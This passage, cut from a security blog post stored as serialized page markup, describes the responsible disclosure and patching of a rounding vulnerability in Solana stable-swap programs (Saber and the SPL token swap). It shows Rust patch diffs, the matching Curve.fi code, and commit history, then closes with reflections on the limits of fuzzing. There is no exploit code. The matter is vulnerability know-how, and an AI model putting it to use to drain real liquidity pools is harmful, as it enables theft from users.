Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[11866],{"type":24,"tag":284,"props":11867,"children":11868},{"__ignoreMap":7},[11869],{"type":29,"value":11864},{"type":24,"tag":25,"props":11871,"children":11872},{},[11873],{"type":29,"value":11874},"Now it was time to contact these teams.",{"type":24,"tag":25,"props":11876,"children":11877},{},[11878],{"type":29,"value":11879},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":24,"tag":25,"props":11881,"children":11882},{},[11883],{"type":29,"value":11884},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":24,"tag":317,"props":11886,"children":11888},{"code":11887,"language":1552,"meta":7,"className":1553,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[11889],{"type":24,"tag":284,"props":11890,"children":11891},{"__ignoreMap":7},[11892,11946,11958],{"type":24,"tag":327,"props":11893,"children":11894},{"class":329,"line":330},[11895,11900,11904,11909,11913,11918,11922,11926,11930,11934,11938,11942],{"type":24,"tag":327,"props":11896,"children":11897},{"style":381},[11898],{"type":29,"value":11899},"-",{"type":24,"tag":327,"props":11901,"children":11902},{"style":334},[11903],{"type":29,"value":7558},{"type":24,"tag":327,"props":11905,"children":11906},{"style":356},[11907],{"type":29,"value":11908}," dy",{"type":24,"tag":327,"props":11910,"children":11911},{"style":381},[11912],{"type":29,"value":4809},{"type":24,"tag":327,"props":11914,"children":11915},{"style":356},[11916],{"type":29,"value":11917}," swap_destination_amount",{"type":24,"tag":327,"props":11919,"children":11920},{"style":381},[11921],{"type":29,"value":66},{"type":24,"tag":327,"props":11923,"children":11924},{"style":340},[11925],{"type":29,"value":10841},{"type":24,"tag":327,"props":11927,"children":11928},{"style":346},[11929],{"type":29,"value":349},{"type":24,"tag":327,"props":11931,"children":11932},{"style":356},[11933],{"type":29,"value":10722},{"type":24,"tag":327,"props":11935,"children":11936},{"style":346},[11937],{"type":29,"value":3146},{"type":24,"tag":327,"props":11939,"children":11940},{"style":381},[11941],{"type":29,"value":7437},{"type":24,"tag":327,"props":11943,"children":11944},{"style":346},[11945],{"type":29,"value":405},{"type":24,"tag":327,"props":11947,"children":11948},{"class":329,"line":367},[11949,11953],{"type":24,"tag":327,"props":11950,"children":11951},{"style":381},[11952],{"type":29,"value":394},{"type":24,"tag":327,"props":11954,"children":11955},{"style":551},[11956],{"type":29,"value":11957},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":24,"tag":327,"props":11959,"children":11960},{"class":329,"line":408},[11961,11965,11969,11973,11977,11981,11985,11989,11993,11997,12001,12005,12009,12013,12017,12021,12025],{"type":24,"tag":327,"props":11962,"children":11963},{"style":381},[11964],{"type":29,"value":394},{"type":24,"tag":327,"props":11966,"children":11967},{"style":334},[11968],{"type":29,"value":7558},{"type":24,"tag":327,"props":11970,"children":11971},{"style":356},[11972],{"type":29,"value":11908},{"type":24,"tag":327,"props":11974,"children":11975},{"style":381},[11976],{"type":29,"value":4809},{"type":24,"tag":327,"props":11978,"children":11979},{"style":356},[11980],{"type":29,"value":11917},{"type":24,"tag":327,"props":11982,"children":11983},{"style":381},[11984],{"type":29,"value":66},{"type":24,"tag":327,"props":11986,"children":11987},{"style":340},[11988],{"type":29,"value":10841},{"type":24,"tag":327,"props":11990,"children":11991},{"style":346},[11992],{"type":29,"value":349},{"type":24,"tag":327,"props":11994,"children":11995},{"style":356},[11996],{"type":29,"value":10722},{"type":24,"tag":327,"props":11998,"children":11999},{"style":346},[12000],{"type":29,"value":3146},{"type":24,"tag":327,"props":12002,"children":12003},{"style":381},[12004],{"type":29,"value":10740},{"type":24,"tag":327,"props":12006,"children":12007},{"style":340},[12008],{"type":29,"value":10841},{"type":24,"tag":327,"props":12010,"children":12011},{"style":346},[12012],{"type":29,"value":349},{"type":24,"tag":327,"props":12014,"children":12015},{"style":397},[12016],{"type":29,"value":3238},{"type":24,"tag":327,"props":12018,"children":12019},{"style":346},[12020],{"type":29,"value":3146},{"type":24,"tag":327,"props":12022,"children":12023},{"style":381},[12024],{"type":29,"value":7437},{"type":24,"tag":327,"props":12026,"children":12027},{"style":346},[12028],{"type":29,"value":405},{"type":24,"tag":25,"props":12030,"children":12031},{},[12032,12034,12041],{"type":29,"value":12033},"For reference, here is the ",{"type":24,"tag":57,"props":12035,"children":12038},{"href":12036,"rel":12037},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[61],[12039],{"type":29,"value":12040},"Curve.fi implementation",{"type":29,"value":66},{"type":24,"tag":317,"props":12043,"children":12047},{"code":12044,"language":12045,"meta":7,"className":12046,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[12048],{"type":24,"tag":284,"props":12049,"children":12050},{"__ignoreMap":7},[12051,12111],{"type":24,"tag":327,"props":12052,"children":12053},{"class":329,"line":330},[12054,12059,12063,12068,12072,12077,12081,12085,12089,12093,12098,12102,12106],{"type":24,"tag":327,"props":12055,"children":12056},{"style":346},[12057],{"type":29,"value":12058},"    dy",{"type":24,"tag":327,"props":12060,"children":12061},{"style":381},[12062],{"type":29,"value":1636},{"type":24,"tag":327,"props":12064,"children":12065},{"style":1639},[12066],{"type":29,"value":12067}," uint256",{"type":24,"tag":327,"props":12069,"children":12070},{"style":381},[12071],{"type":29,"value":4809},{"type":24,"tag":327,"props":12073,"children":12074},{"style":346},[12075],{"type":29,"value":12076}," xp[j] ",{"type":24,"tag":327,"props":12078,"children":12079},{"style":381},[12080],{"type":29,"value":11899},{"type":24,"tag":327,"props":12082,"children":12083},{"style":346},[12084],{"type":29,"value":378},{"type":24,"tag":327,"props":12086,"children":12087},{"style":381},[12088],{"type":29,"value":11899},{"type":24,"tag":327,"props":12090,"children":12091},{"style":397},[12092],{"type":29,"value":522},{"type":24,"tag":327,"props":12094,"children":12095},{"style":346},[12096],{"type":29,"value":12097},"  # ",{"type":24,"tag":327,"props":12099,"children":12100},{"style":381},[12101],{"type":29,"value":11899},{"type":24,"tag":327,"props":12103,"children":12104},{"style":397},[12105],{"type":29,"value":3238},{"type":24,"tag":327,"props":12107,"children":12108},{"style":346},[12109],{"type":29,"value":12110}," just in case there were some rounding errors\n",{"type":24,"tag":327,"props":12112,"children":12113},{"class":329,"line":367},[12114,12119,12123,12127,12131,12136,12140,12145,12149],{"type":24,"tag":327,"props":12115,"children":12116},{"style":346},[12117],{"type":29,"value":12118},"    dy_fee",{"type":24,"tag":327,"props":12120,"children":12121},{"style":381},[12122],{"type":29,"value":1636},{"type":24,"tag":327,"props":12124,"children":12125},{"style":1639},[12126],{"type":29,"value":12067},{"type":24,"tag":327,"props":12128,"children":12129},{"style":381},[12130],{"type":29,"value":4809},{"type":24,"tag":327,"props":12132,"children":12133},{"style":346},[12134],{"type":29,"value":12135}," dy ",{"type":24,"tag":327,"props":12137,"children":12138},{"style":381},[12139],{"type":29,"value":469},{"type":24,"tag":327,"props":12141,"children":12142},{"style":346},[12143],{"type":29,"value":12144}," self.fee ",{"type":24,"tag":327,"props":12146,"children":12147},{"style":381},[12148],{"type":29,"value":2899},{"type":24,"tag":327,"props":12150,"children":12151},{"style":346},[12152],{"type":29,"value":12153}," FEE_DENOMINATOR\n",{"type":24,"tag":25,"props":12155,"children":12156},{},[12157,12159,12166],{"type":29,"value":12158},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":24,"tag":57,"props":12160,"children":12163},{"href":12161,"rel":12162},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[61],[12164],{"type":29,"value":12165},"original commit",{"type":29,"value":12167},", not as an additional security patch.",{"type":24,"tag":317,"props":12169,"children":12171},{"code":12170},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[12172],{"type":24,"tag":284,"props":12173,"children":12174},{"__ignoreMap":7},[12175],{"type":29,"value":12170},{"type":24,"tag":25,"props":12177,"children":12178},{},[12179,12181,12188],{"type":29,"value":12180},"The commit adding stable swaps to SPL was ",{"type":24,"tag":57,"props":12182,"children":12185},{"href":12183,"rel":12184},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[61],[12186],{"type":29,"value":12187},"made a few months later",{"type":29,"value":12189},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":24,"tag":317,"props":12191,"children":12193},{"code":12192},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[12194],{"type":24,"tag":284,"props":12195,"children":12196},{"__ignoreMap":7},[12197],{"type":29,"value":12192},{"type":24,"tag":25,"props":12199,"children":12200},{},[12201,12203,12210],{"type":29,"value":12202},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":24,"tag":57,"props":12204,"children":12207},{"href":12205,"rel":12206},"https://github.com/solana-labs/solana-program-library",[61],[12208],{"type":29,"value":12209},"the Solana Program Library",{"type":29,"value":66},{"type":24,"tag":25,"props":12212,"children":12213},{},[12214],{"type":29,"value":12215},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":24,"tag":25,"props":12217,"children":12218},{},[12219,12226],{"type":24,"tag":57,"props":12220,"children":12223},{"href":12221,"rel":12222},"https://github.com/joncinque",[61],[12224],{"type":29,"value":12225},"@joncinque",{"type":29,"value":12227}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":24,"tag":1706,"props":12229,"children":12230},{},[12231],{"type":24,"tag":25,"props":12232,"children":12233},{},[12234],{"type":29,"value":12235},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":24,"tag":25,"props":12237,"children":12238},{},[12239,12241,12248,12250,12256],{"type":29,"value":12240},"After some thought, he helped ",{"type":24,"tag":57,"props":12242,"children":12245},{"href":12243,"rel":12244},"https://github.com/solana-labs/solana-program-library/pull/2942",[61],[12246],{"type":29,"value":12247},"introduce a PR",{"type":29,"value":12249}," which ceilings the computation in ",{"type":24,"tag":284,"props":12251,"children":12253},{"className":12252},[],[12254],{"type":29,"value":12255},"compute_new_destination_amount",{"type":29,"value":12257}," to correctly round within the stable curve math library.",{"type":24,"tag":317,"props":12259,"children":12261},{"code":12260,"language":1552,"meta":7,"className":1553,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[12262],{"type":24,"tag":284,"props":12263,"children":12264},{"__ignoreMap":7},[12265,12273,12303,12330,12358,12382,12458,12562,12589,12684,12787,12814,12826,12845,12868],{"type":24,"tag":327,"props":12266,"children":12267},{"class":329,"line":330},[12268],{"type":24,"tag":327,"props":12269,"children":12270},{"style":551},[12271],{"type":29,"value":12272},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":327,"props":12274,"children":12275},{"class":329,"line":367},[12276,12281,12285,12290,12294,12299],{"type":24,"tag":327,"props":12277,"children":12278},{"style":334},[12279],{"type":29,"value":12280},"     let",{"type":24,"tag":327,"props":12282,"children":12283},{"style":334},[12284],{"type":29,"value":4799},{"type":24,"tag":327,"props":12286,"children":12287},{"style":356},[12288],{"type":29,"value":12289}," y_prev",{"type":24,"tag":327,"props":12291,"children":12292},{"style":381},[12293],{"type":29,"value":1636},{"type":24,"tag":327,"props":12295,"children":12296},{"style":1639},[12297],{"type":29,"value":12298}," U256",{"type":24,"tag":327,"props":12300,"children":12301},{"style":346},[12302],{"type":29,"value":405},{"type":24,"tag":327,"props":12304,"children":12305},{"class":329,"line":408},[12306,12310,12314,12318,12322,12326],{"type":24,"tag":327,"props":12307,"children":12308},{"style":334},[12309],{"type":29,"value":12280},{"type":24,"tag":327,"props":12311,"children":12312},{"style":334},[12313],{"type":29,"value":4799},{"type":24,"tag":327,"props":12315,"children":12316},{"style":356},[12317],{"type":29,"value":10622},{"type":24,"tag":327,"props":12319,"children":12320},{"style":381},[12321],{"type":29,"value":4809},{"type":24,"tag":327,"props":12323,"children":12324},{"style":356},[12325],{"type":29,"value":10631},{"type":24,"tag":327,"props":12327,"children":12328},{"style":346},[12329],{"type":29,"value":405},{"type":24,"tag":327,"props":12331,"children":12332},{"class":329,"line":421},[12333,12338,12342,12346,12350,12354],{"type":24,"tag":327,"props":12334,"children":12335},{"style":425},[12336],{"type":29,"value":12337},"     for",{"type":24,"tag":327,"props":12339,"children":12340},{"style":356},[12341],{"type":29,"value":10648},{"type":24,"tag":327,"props":12343,"children":12344},{"style":334},[12345],{"type":29,"value":10653},{"type":24,"tag":327,"props":12347,"children":12348},{"style":397},[12349],{"type":29,"value":6695},{"type":24,"tag":327,"props":12351,"children":12352},{"style":381},[12353],{"type":29,"value":10662},{"type":24,"tag":327,"props":12355,"children":12356},{"style":346},[12357],{"type":29,"value":10667},{"type":24,"tag":327,"props":12359,"children":12360},{"class":329,"line":450},[12361,12365,12370,12374,12378],{"type":24,"tag":327,"props":12362,"children":12363},{"style":381},[12364],{"type":29,"value":11899},{"type":24,"tag":327,"props":12366,"children":12367},{"style":356},[12368],{"type":29,"value":12369},"        y_prev",{"type":24,"tag":327,"props":12371,"children":12372},{"style":381},[12373],{"type":29,"value":4809},{"type":24,"tag":327,"props":12375,"children":12376},{"style":356},[12377],{"type":29,"value":10622},{"type":24,"tag":327,"props":12379,"children":12380},{"style":346},[12381],{"type":29,"value":405},{"type":24,"tag":327,"props":12383,"children":12384},{"class":329,"line":481},[12385,12389,12394,12398,12402,12406,12410,12414,12418,12422,12426,12430,12434,12438,12442,12446,12450,12454],{"type":24,"tag":327,"props":12386,"children":12387},{"style":381},[12388],{"type":29,"value":11899},{"type":24,"tag":327,"props":12390,"children":12391},{"style":356},[12392],{"type":29,"value":12393},"        y",{"type":24,"tag":327,"props":12395,"children":12396},{"style":381},[12397],{"type":29,"value":4809},{"type":24,"tag":327,"props":12399,"children":12400},{"style":346},[12401],{"type":29,"value":5894},{"type":24,"tag":327,"props":12403,"children":12404},{"style":340},[12405],{"type":29,"value":10709},{"type":24,"tag":327,"props":12407,"children":12408},{"style":346},[12409],{"type":29,"value":349},{"type":24,"tag":327,"props":12411,"children":12412},{"style":381},[12413],{"type":29,"value":8716},{"type":24,"tag":327,"props":12415,"children":12416},{"style":356},[12417],{"type":29,"value":10722},{"type":24,"tag":327,"props":12419,"children":12420},{"style":346},[12421],{"type":29,"value":2744},{"type":24,"tag":327,"props":12423,"children":12424},{"style":397},[12425],{"type":29,"value":10731},{"type":24,"tag":327,"props":12427,"children":12428},{"style":346},[12429],{"type":29,"value":3146},{"type":24,"tag":327,"props":12431,"children":12432},{"style":381},[12433],{"type":29,"value":10740},{"type":24,"tag":327,"props":12435,"children":12436},{"style":340},[12437],{"type":29,"value":10745},{"type":24,"tag":327,"props":12439,"children":12440},{"style":346},[12441],{"type":29,"value":349},{"type":24,"tag":327,"props":12443,"children":12444},{"style":356},[12445],{"type":29,"value":320},{"type":24,"tag":327,"props":12447,"children":12448},{"style":346},[12449],{"type":29,"value":3146},{"type":24,"tag":327,"props":12451,"children":12452},{"style":381},[12453],{"type":29,"value":7437},{"type":24,"tag":327,"props":12455,"children":12456},{"style":346},[12457],{"type":29,"value":852},{"type":24,"tag":327,"props":12459,"children":12460},{"class":329,"line":500},[12461,12465,12469,12474,12478,12482,12486,12490,12494,12498,12502,12506,12510,12514,12518,12522,12526,12530,12534,12538,12542,12546,12550,12554,12558],{"type":24,"tag":327,"props":12462,"children":12463},{"style":381},[12464],{"type":29,"value":11899},{"type":24,"tag":327,"props":12466,"children":12467},{"style":381},[12468],{"type":29,"value":10773},{"type":24,"tag":327,"props":12470,"children":12471},{"style":340},[12472],{"type":29,"value":12473},"checked_div",{"type":24,"tag":327,"props":12475,"children":12476},{"style":346},[12477],{"type":29,"value":349},{"type":24,"tag":327,"props":12479,"children":12480},{"style":340},[12481],{"type":29,"value":10787},{"type":24,"tag":327,"props":12483,"children":12484},{"style":346},[12485],{"type":29,"value":349},{"type":24,"tag":327,"props":12487,"children":12488},{"style":381},[12489],{"type":29,"value":8716},{"type":24,"tag":327,"props":12491,"children":12492},{"style":356},[12493],{"type":29,"value":10722},{"type":24,"tag":327,"props":12495,"children":12496},{"style":346},[12497],{"type":29,"value":2744},{"type":24,"tag":327,"props":12499,"children":12500},{"style":397},[12501],{"type":29,"value":10731},{"type":24,"tag":327,"props":12503,"children":12504},{"style":346},[12505],{"type":29,"value":3146},{"type":24,"tag":327,"props":12507,"children":12508},{"style":381},[12509],{"type":29,"value":10740},{"type":24,"tag":327,"props":12511,"children":12512},{"style":340},[12513],{"type":29,"value":10745},{"type":24,"tag":327,"props":12515,"children":12516},{"style":346},[12517],{"type":29,"value":349},{"type":24,"tag":327,"props":12519,"children":12520},{"style":356},[12521],{"type":29,"value":10828},{"type":24,"tag":327,"props":12523,"children":12524},{"style":346},[12525],{"type":29,"value":3146},{"type":24,"tag":327,"props":12527,"children":12528},{"style":381},[12529],{"type":29,"value":10740},{"type":24,"tag":327,"props":12531,"children":12532},{"style":340},[12533],{"type":29,"value":10841},{"type":24,"tag":327,"props":12535,"children":12536},{"style":346},[12537],{"type":29,"value":349},{"type":24,"tag":327,"props":12539,"children":12540},{"style":356},[12541],{"type":29,"value":10850},{"type":24,"tag":327,"props":12543,"children":12544},{"style":346},[12545],{"type":29,"value":3146},{"type":24,"tag":327,"props":12547,"children":12548},{"style":381},[12549],{"type":29,"value":7437},{"type":24,"tag":327,"props":12551,"children":12552},{"style":346},[12553],{"type":29,"value":3146},{"type":24,"tag":327,"props":12555,"children":12556},{"style":381},[12557],{"type":29,"value":7437},{"type":24,"tag":327,"props":12559,"children":12560},{"style":346},[12561],{"type":29,"value":405},{"type":24,"tag":327,"props":12563,"children":12564},{"class":329,"line":529},[12565,12569,12573,12577,12581,12585],{"type":24,"tag":327,"props":12566,"children":12567},{"style":381},[12568],{"type":29,"value":11899},{"type":24,"tag":327,"props":12570,"children":12571},{"style":425},[12572],{"type":29,"value":8861},{"type":24,"tag":327,"props":12574,"children":12575},{"style":356},[12576],{"type":29,"value":10622},{"type":24,"tag":327,"props":12578,"children":12579},{"style":381},[12580],{"type":29,"value":9887},{"type":24,"tag":327,"props":12582,"children":12583},{"style":356},[12584],{"type":29,"value":12289},{"type":24,"tag":327,"props":12586,"children":12587},{"style":346},[12588],{"type":29,"value":497},{"type":24,"tag":327,"props":12590,"children":12591},{"class":329,"line":538},[12592,12596,12600,12604,12608,12612,12616,12620,12624,12628,12632,12636,12640,12644,12648,12652,12656,12660,12664,12668,12672,12676,12680],{"type":24,"tag":327,"props":12593,"children":12594},{"style":381},[12595],{"type":29,"value":394},{"type":24,"tag":327,"props":12597,"children":12598},{"style":334},[12599],{"type":29,"value":7558},{"type":24,"tag":327,"props":12601,"children":12602},{"style":346},[12603],{"type":29,"value":5894},{"type":24,"tag":327,"props":12605,"children":12606},{"style":356},[12607],{"type":29,"value":10683},{"type":24,"tag":327,"props":12609,"children":12610},{"style":346},[12611],{"type":29,"value":2744},{"type":24,"tag":327,"props":12613,"children":12614},{"style":356},[12615],{"type":29,"value":10692},{"type":24,"tag":327,"props":12617,"children":12618},{"style":346},[12619],{"type":29,"value":1674},{"type":24,"tag":327,"props":12621,"children":12622},{"style":381},[12623],{"type":29,"value":384},{"type":24,"tag":327,"props":12625,"children":12626},{"style":346},[12627],{"type":29,"value":5894},{"type":24,"tag":327,"props":12629,"children":12630},{"style":340},[12631],{"type":29,"value":10709},{"type":24,"tag":327,"props":12633,"children":12634},{"style":346},[12635],{"type":29,"value":349},{"type":24,"tag":327,"props":12637,"children":12638},{"style":381},[12639],{"type":29,"value":8716},{"type":24,"tag":327,"props":12641,"children":12642},{"style":356},[12643],{"type":29,"value":10722},{"type":24,"tag":327,"props":12645,"children":12646},{"style":346},[12647],{"type":29,"value":2744},{"type":24,"tag":327,"props":12649,"children":12650},{"style":397},[12651],{"type":29,"value":10731},{"type":24,"tag":327,"props":12653,"children":12654},{"style":346},[12655],{"type":29,"value":3146},{"type":24,"tag":327,"props":12657,"children":12658},{"style":381},[12659],{"type":29,"value":10740},{"type":24,"tag":327,"props":12661,"children":12662},{"style":340},[12663],{"type":29,"value":10745},{"type":24,"tag":327,"props":12665,"children":12666},{"style":346},[12667],{"type":29,"value":349},{"type":24,"tag":327,"props":12669,"children":12670},{"style":356},[12671],{"type":29,"value":320},{"type":24,"tag":327,"props":12673,"children":12674},{"style":346},[12675],{"type":29,"value":3146},{"type":24,"tag":327,"props":12677,"children":12678},{"style":381},[12679],{"type":29,"value":7437},{"type":24,"tag":327,"props":12681,"children":12682},{"style":346},[12683],{"type":29,"value":852},{"type":24,"tag":327,"props":12685,"children":12686},{"class":329,"line":547},[12687,12691,12695,12699,12703,12707,12711,12715,12719,12723,12727,12731,12735,12739,12743,12747,12751,12755,12759,12763,12767,12771,12775,12779,12783],{"type":24,"tag":327,"props":12688,"children":12689},{"style":381},[12690],{"type":29,"value":394},{"type":24,"tag":327,"props":12692,"children":12693},{"style":381},[12694],{"type":29,"value":10773},{"type":24,"tag":327,"props":12696,"children":12697},{"style":340},[12698],{"type":29,"value":10778},{"type":24,"tag":327,"props":12700,"children":12701},{"style":346},[12702],{"type":29,"value":349},{"type":24,"tag":327,"props":12704,"children":12705},{"style":340},[12706],{"type":29,"value":10787},{"type":24,"tag":327,"props":12708,"children":12709},{"style":346},[12710],{"type":29,"value":349},{"type":24,"tag":327,"props":12712,"children":12713},{"style":381},[12714],{"type":29,"value":8716},{"type":24,"tag":327,"props":12716,"children":12717},{"style":356},[12718],{"type":29,"value":10722},{"type":24,"tag":327,"props":12720,"children":12721},{"style":346},[12722],{"type":29,"value":2744},{"type":24,"tag":327,"props":12724,"children":12725},{"style":397},[12726],{"type":29,"value":10731},{"type":24,"tag":327,"props":12728,"children":12729},{"style":346},[12730],{"type":29,"value":3146},{"type":24,"tag":327,"props":12732,"children":12733},{"style":381},[12734],{"type":29,"value":10740},{"type":24,"tag":327,"props":12736,"children":12737},{"style":340},[12738],{"type":29,"value":10745},{"type":24,"tag":327,"props":12740,"children":12741},{"style":346},[12742],{"type":29,"value":349},{"type":24,"tag":327,"props":12744,"children":12745},{"style":356},[12746],{"type":29,"value":10828},{"type":24,"tag":327,"props":12748,"children":12749},{"style":346},[12750],{"type":29,"value":3146},{"type":24,"tag":327,"props":12752,"children":12753},{"style":381},[12754],{"type":29,"value":10740},{"type":24,"tag":327,"props":12756,"children":12757},{"style":340},[12758],{"type":29,"value":10841},{"type":24,"tag":327,"props":12760,"children":12761},{"style":346},[12762],{"type":29,"value":349},{"type":24,"tag":327,"props":12764,"children":12765},{"style":356},[12766],{"type":29,"value":10850},{"type":24,"tag":327,"props":12768,"children":12769},{"style":346},[12770],{"type":29,"value":3146},{"type":24,"tag":327,"props":12772,"children":12773},{"style":381},[12774],{"type":29,"value":7437},{"type":24,"tag":327,"props":12776,"children":12777},{"style":346},[12778],{"type":29,"value":3146},{"type":24,"tag":327,"props":12780,"children":12781},{"style":381},[12782],{"type":29,"value":7437},{"type":24,"tag":327,"props":12784,"children":12785},{"style":346},[12786],{"type":29,"value":405},{"type":24,"tag":327,"props":12788,"children":12789},{"class":329,"line":557},[12790,12794,12798,12802,12806,12810],{"type":24,"tag":327,"props":12791,"children":12792},{"style":381},[12793],{"type":29,"value":394},{"type":24,"tag":327,"props":12795,"children":12796},{"style":425},[12797],{"type":29,"value":8861},{"type":24,"tag":327,"props":12799,"children":12800},{"style":356},[12801],{"type":29,"value":10882},{"type":24,"tag":327,"props":12803,"children":12804},{"style":381},[12805],{"type":29,"value":9887},{"type":24,"tag":327,"props":12807,"children":12808},{"style":356},[12809],{"type":29,"value":10622},{"type":24,"tag":327,"props":12811,"children":12812},{"style":346},[12813],{"type":29,"value":497},{"type":24,"tag":327,"props":12815,"children":12816},{"class":329,"line":586},[12817,12822],{"type":24,"tag":327,"props":12818,"children":12819},{"style":425},[12820],{"type":29,"value":12821},"             break",{"type":24,"tag":327,"props":12823,"children":12824},{"style":346},[12825],{"type":29,"value":405},{"type":24,"tag":327,"props":12827,"children":12828},{"class":329,"line":1017},[12829,12833,12837,12841],{"type":24,"tag":327,"props":12830,"children":12831},{"style":381},[12832],{"type":29,"value":394},{"type":24,"tag":327,"props":12834,"children":12835},{"style":346},[12836],{"type":29,"value":10914},{"type":24,"tag":327,"props":12838,"children":12839},{"style":425},[12840],{"type":29,"value":492},{"type":24,"tag":327,"props":12842,"children":12843},{"style":346},[12844],{"type":29,"value":497},{"type":24,"tag":327,"props":12846,"children":12847},{"class":329,"line":1026},[12848,12852,12856,12860,12864],{"type":24,"tag":327,"props":12849,"children":12850},{"style":381},[12851],{"type":29,"value":394},{"type":24,"tag":327,"props":12853,"children":12854},{"style":356},[12855],{"type":29,"value":10930},{"type":24,"tag":327,"props":12857,"children":12858},{"style":381},[12859],{"type":29,"value":4809},{"type":24,"tag":327,"props":12861,"children":12862},{"style":356},[12863],{"type":29,"value":10882},{"type":24,"tag":327,"props":12865,"children":12866},{"style":346},[12867],{"type":29,"value":405},{"type":24,"tag":327,"props":12869,"children":12870},{"class":329,"line":1048},[12871],{"type":24,"tag":327,"props":12872,"children":12873},{"style":346},[12874],{"type":29,"value":12875},"         }\n",{"type":24,"tag":228,"props":12877,"children":12879},{"id":12878},"closing-thoughts",[12880],{"type":29,"value":12881},"Closing Thoughts",{"type":24,"tag":25,"props":12883,"children":12884},{},[12885],{"type":29,"value":12886},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":24,"tag":25,"props":12888,"children":12889},{},[12890,12892,12897],{"type":29,"value":12891},"Another interesting takeaway is that ",{"type":24,"tag":188,"props":12893,"children":12894},{},[12895],{"type":29,"value":12896},"fuzzing can give a false sense of security",{"type":29,"value":12898},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":24,"tag":25,"props":12900,"children":12901},{},[12902,12904,12911],{"type":29,"value":12903},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":24,"tag":57,"props":12905,"children":12908},{"href":12906,"rel":12907},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[61],[12909],{"type":29,"value":12910},"port-mortem of the NSS overflow",{"type":29,"value":66},{"type":24,"tag":25,"props":12913,"children":12914},{},[12915],{"type":24,"tag":11511,"props":12916,"children":12918},{"alt":7,"src":12917},"/posts/spl-swap/p0.png",[],{"type":24,"tag":25,"props":12920,"children":12921},{},[12922],{"type":29,"value":12923},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":24,"tag":25,"props":12925,"children":12926},{},[12927],{"type":29,"value":12928},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":24,"tag":25,"props":12930,"children":12931},{},[12932],{"type":29,"value":12933},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana 